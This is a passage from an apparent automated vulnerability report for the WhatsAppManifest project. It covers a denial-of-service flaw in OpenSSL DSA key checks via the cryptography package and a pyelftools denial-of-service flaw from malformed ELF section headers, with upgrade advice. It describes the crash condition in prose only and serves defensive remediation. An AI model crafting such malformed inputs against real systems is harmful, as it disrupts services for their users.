Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to improper user input validation in the EVP_PKEY_param_check or EVP_PKEY_public_check functions. An attacker can cause a denial of service by supplying excessively long DSA keys or parameters obtained from an untrusted source.

Note:

OpenSSL does not call these functions on untrusted DSA keys, so only applications that directly call these functions may be vulnerable.

Also vulnerable are the OpenSSL pkey and pkeyparam command line applications when using the "-check" option.

Remediation

Upgrade cryptography to version 42.0.8 or higher.

References

low severity

Denial of Service (DoS)

  • Vulnerable module: pyelftools
  • Introduced through: pyelftools@0.26, apkutils2@1.0.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pyelftools@0.26
    Remediation: Upgrade to pyelftools@0.31.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkutils2@1.0.0 pyelftools@0.26
    Remediation: Upgrade to apkutils2@1.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 apkutils2@1.0.0 pyelftools@0.26
    Remediation: Upgrade to adbutils@0.7.1.

Overview

pyelftools is a Library for analyzing ELF files and DWARF debugging information

Affected versions of this package are vulnerable to Denial of Service (DoS). This can occur when parsing an ELF file whose e_shentsize is zero, and e_shnum is larger than the actual number of entries in the section header table. The function ELFFile.iter_sections iterates over i in range(self['e_shnum']) and yields sections at file offset self['e_shoff'] + i * self['e_shentsize']. If e_shentsize is zero this will return the first section over and over again.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pyelftools to version 0.31 or higher.

References